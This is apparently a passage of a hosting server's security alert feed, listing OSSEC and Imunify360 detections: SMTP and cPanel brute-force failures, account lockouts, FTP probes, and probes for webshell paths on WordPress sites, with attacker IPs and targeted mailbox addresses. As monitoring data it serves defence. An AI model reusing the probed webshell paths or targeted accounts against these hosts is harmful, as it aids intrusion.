name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:48:04 dovecot_login authenticator failed for H=(02ScHKGG0T) [185.230.124.69]:60540: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.141.121.93
country_id: 6252001
description:
[2026-01-31 05:48:12 +0800] info [whostmgrd] 73.141.121.93 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-31 05:48:24 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:28744: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: aircarbonic.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/aircarbonicadmin/public_html/wp-admin||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:48:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.242.155.155
country_id: 1269750
description:
2026-01-31 05:48:18 dovecot_login authenticator failed for H=([112.133.231.254]) [117.242.155.155]:47218: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:48:28 dovecot_login authenticator failed for H=(KxA4QR9E) [178.16.54.138]:57502: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.157.158
country_id: 1269750
description:
2026-01-31 05:48:28 dovecot_login authenticator failed for H=([128.185.217.150]) [125.19.157.158]:37306: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.6.101.246
country_id: 2510769
description:
2026-01-31 05:48:31 dovecot_login authenticator failed for H=246.red-88-6-101.staticip.rima-tde.net [88.6.101.246]:49710: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:49:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:49:28 dovecot_login authenticator failed for H=(FF32oeCF4) [178.16.54.138]:53401: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:49:02 dovecot_login authenticator failed for H=(y4L74UL4) [185.230.124.69]:50653: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:49:13 dovecot_login authenticator failed for H=(WTIGJAHvqo) [185.230.124.69]:53383: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:50:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:50:02 dovecot_login authenticator failed for H=(mayr2Kw) [185.230.124.69]:54261: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.142
country_id: 1269750
description:
2026-01-31 05:51:13 dovecot_login authenticator failed for H=([152.52.238.92]) [182.95.184.142]:38752: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-31 05:51:24 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:50336: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.232.83.3
country_id: 3175395
domain: geminiflourmill.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/cabecom/public_html/wp-admin||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.161.159.196
country_id: 2300660
domain: visoft.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:91849.visoft.com.my||ServerName:visoft.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8f24c9df250aea6da25571ef26499d14918df2d4||Title:0xdd4c24b9||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.99.52.202
country_id: 1835841
description:
2026-01-31 05:51:22 dovecot_login authenticator failed for H=([222.99.52.202]) [222.99.52.202]:49264: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-01-31 05:51:33 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:53789: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:51:06 dovecot_login authenticator failed for H=(HRErMOMOV) [178.16.54.138]:61049: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:51:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:51:08 dovecot_login authenticator failed for H=(gX46W0z9b1) [185.230.124.69]:62243: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:51:57 dovecot_login authenticator failed for H=(fetblVX) [185.230.124.69]:54137: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:52:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.169.174.59
country_id: 2921044
description:
2026-01-31 05:52:24 dovecot_login authenticator failed for H=patrickeinatz.com (h2769950.stratoserver.net) [81.169.174.59]:52316: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.64.3.134
country_id: 1269750
description:
2026-01-31 05:52:57 dovecot_login authenticator failed for H=([125.21.245.33]) [182.64.3.134]:50820: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:52:03 dovecot_login authenticator failed for H=(mf7GzN3Erm) [185.230.124.69]:65319: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.170.59
country_id: 3144096
description:
[2026-01-31 05:52:41 +0800] info [webmaild] 146.70.170.59 - eeyh@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:53:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.144.205.26
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/fzaninotto/faker/src/Faker/Calculator/Iban.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:53:09 dovecot_login authenticator failed for H=(9EWpWq581) [185.230.124.69]:64215: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-01-31 05:53:30 dovecot_login authenticator failed for H=([182.95.228.194]) [182.95.228.194]:57648: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.239.154.72
country_id: 1814991
description:
2026-01-31 05:54:19 dovecot_login authenticator failed for H=([183.239.20.236]) [120.239.154.72]:57784: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.120.69.143
country_id: 3144096
domain: webhosting2u.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home/webhost/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.164.13
country_id: 6252001
description:
2026-01-31 05:54:35 dovecot_login authenticator failed for H=([192.34.164.13]) [192.34.164.13]:21321: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:54:03 dovecot_login authenticator failed for H=(RPrUCdJd) [185.230.124.69]:50538: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.130
country_id: 1149361
description:
2026-01-31 05:54:49 dovecot_login authenticator failed for H=([149.54.62.130]) [149.54.62.130]:50551: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.94.39.65
country_id: 1269750
description:
2026-01-31 05:54:47 dovecot_login authenticator failed for H=([59.94.39.65]) [59.94.39.65]:45946: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 79.221.174.229
country_id: 2921044
description:
Jan 31 05:54:55 sv3 pure-ftpd[3801914]: (?@79.221.174.229) [INFO] New connection from 79.221.174.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.114.243.80
country_id: 3625428
description:
2026-01-31 05:54:30 dovecot_login authenticator failed for H=([190.114.243.80]) [190.114.243.80]:38976: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.51.118.189
country_id: 3469034
description:
2026-01-31 05:54:40 dovecot_login authenticator failed for H=(189-51-118-65.rapeedo.net.br) [189.51.118.189]:40860: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:54:48 dovecot_login authenticator failed for H=(MW8G5s9Bg) [185.230.124.69]:64326: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 79.221.174.229
country_id: 2921044
description:
Jan 31 05:55:02 sv3 pure-ftpd[3801920]: (?@79.221.174.229) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.39.101.228
country_id: 6252001
description:
[2026-01-31 05:55:47 +0800] info [whostmgrd] 98.39.101.228 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:55:11 dovecot_login authenticator failed for H=(koaUedivc1) [185.230.124.69]:60685: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:56:43 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:56:01 dovecot_login authenticator failed for H=(pKVwoG11) [185.230.124.69]:55302: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.185.50.49
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=306191 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.152.240
country_id: 1861060
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/pspolycom/public_html/images||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:57:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:57:05 dovecot_login authenticator failed for H=(QGB5gjy) [185.230.124.69]:63884: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:57:27 dovecot_login authenticator failed for H=(tGQkuvMOc) [185.230.124.69]:58395: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:58:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.42.16
country_id: 690791
description:
2026-01-31 05:58:16 dovecot_login authenticator failed for H=(ADMIN) [84.239.42.16]:11853: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/fkrcom/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: autogreastar.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home/autogrea/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:58:10 dovecot_login authenticator failed for H=(H8oGyi) [185.230.124.69]:53471: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.152.240
country_id: 1861060
domain: stillman.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/stillman/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:59:16 dovecot_login authenticator failed for H=(Bl3og5GD) [185.230.124.69]:61903: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: aoto.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/aotocom/public_html/images/index.php||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:59:58 dovecot_login authenticator failed for H=(mhcUXhDc) [185.230.124.69]:51065: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:59:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.179.201.167
country_id: 6252001
description:
[2026-01-31 06:00:07 +0800] info [whostmgrd] 184.179.201.167 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:00:18 dovecot_login authenticator failed for H=(7Kwkp4) [185.230.124.69]:50144: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.140.219.13
country_id: 2802361
description:
2026-01-31 06:00:32 dovecot_login authenticator failed for H=13.219.140.34.bc.googleusercontent.com (10.132.0.2) [34.140.219.13]:58158: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:00:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:00:21 dovecot_login authenticator failed for H=(1H8pyWv) [137.220.199.220]:52768: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:01:14 dovecot_login authenticator failed for H=(FowkTx8o2o) [137.220.199.220]:55056: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:01:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:01:18 dovecot_login authenticator failed for H=(mn6hQol0Z) [185.230.124.69]:52808: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:02:06 dovecot_login authenticator failed for H=(cDMEAxIkY2) [137.220.199.220]:58579: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:02:16 dovecot_login authenticator failed for H=(NyrsD5c) [185.230.124.69]:61052: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:02:17 dovecot_login authenticator failed for H=(1f6hPy6) [185.230.124.69]:56933: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.135.92.3
country_id: 1643084
description:
[2026-01-31 06:02:29 +0800] info [cpaneld] 95.135.92.3 - kitty.yap@manforce.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: eminent.st
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:/home/eminent/public_html/wp-content/uploads/2024||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:03:15 dovecot_login authenticator failed for H=(UsJBZYuZU) [185.230.124.69]:59790: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:03:10 dovecot_login authenticator failed for H=(XJ6Km74Vs) [137.220.199.220]:62005: 535 Incorrect authentication data (set_id=jb-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.60.78
country_id: 1269750
description:
2026-01-31 06:03:52 dovecot_login authenticator failed for H=(dsl-tn-dynamic-217.127.246.61.airtelbroadband.in) [122.186.60.78]:38478: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:03:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:04:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:04:13 dovecot_login authenticator failed for H=(tTAcK6T1) [185.230.124.69]:50124: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:04:32 dovecot_login authenticator failed for H=(OGg7D4j4Z) [185.230.124.69]:54337: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.58.83.146
country_id: 3175395
description:
2026-01-31 06:04:02 dovecot_login authenticator failed for H=([101.58.83.146]) [101.58.83.146]:60686: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:04:04 dovecot_login authenticator failed for H=(FIaUhZar) [137.220.199.220]:65418: 535 Incorrect authentication data (set_id=jb-sales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.203.206.225
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=509827 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.15.149.254
country_id: 3469034
description:
2026-01-31 06:05:05 dovecot_login authenticator failed for H=(201-15-149-254.pltce300.ipd.brasiltelecom.net.br) [201.15.149.254]:45301: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:05:10 dovecot_login authenticator failed for H=(dc5cLGSSc) [185.230.124.69]:56937: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.17.184.49
country_id: 6252001
description:
[2026-01-31 06:05:20 +0800] info [whostmgrd] 45.17.184.49 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.231.25.64
country_id: 3686110
description:
2026-01-31 06:05:26 dovecot_login authenticator failed for H=(1522312565.colombiatel.co) [152.231.25.64]:57117: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.220.147
country_id: 3144096
description:
2026-01-31 06:05:56 dovecot_login authenticator failed for H=(cm-178.232.220.147.get.no) [178.232.220.147]:38236: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:05:06 dovecot_login authenticator failed for H=(ZenGOZcoh) [137.220.199.220]:53125: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:05:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.92.249
country_id: 1168579
description:
2026-01-31 06:05:47 dovecot_login authenticator failed for H=(249.92.zcomnetworks.com.pk) [103.148.92.249]:38221: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:06:45 dovecot_login authenticator failed for H=(5oHny4) [185.230.124.69]:64063: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:06:07 dovecot_login authenticator failed for H=(u85OuvYw) [185.230.124.69]:59820: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:06:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:06:00 dovecot_login authenticator failed for H=(HyZRYXYKto) [137.220.199.220]:56775: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.204.215.220
country_id: 6252001
description:
[2026-01-31 06:06:44 +0800] info [whostmgrd] 97.204.215.220 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:07:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:07:04 dovecot_login authenticator failed for H=(Vb2hFSHzKj) [185.230.124.69]:61178: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
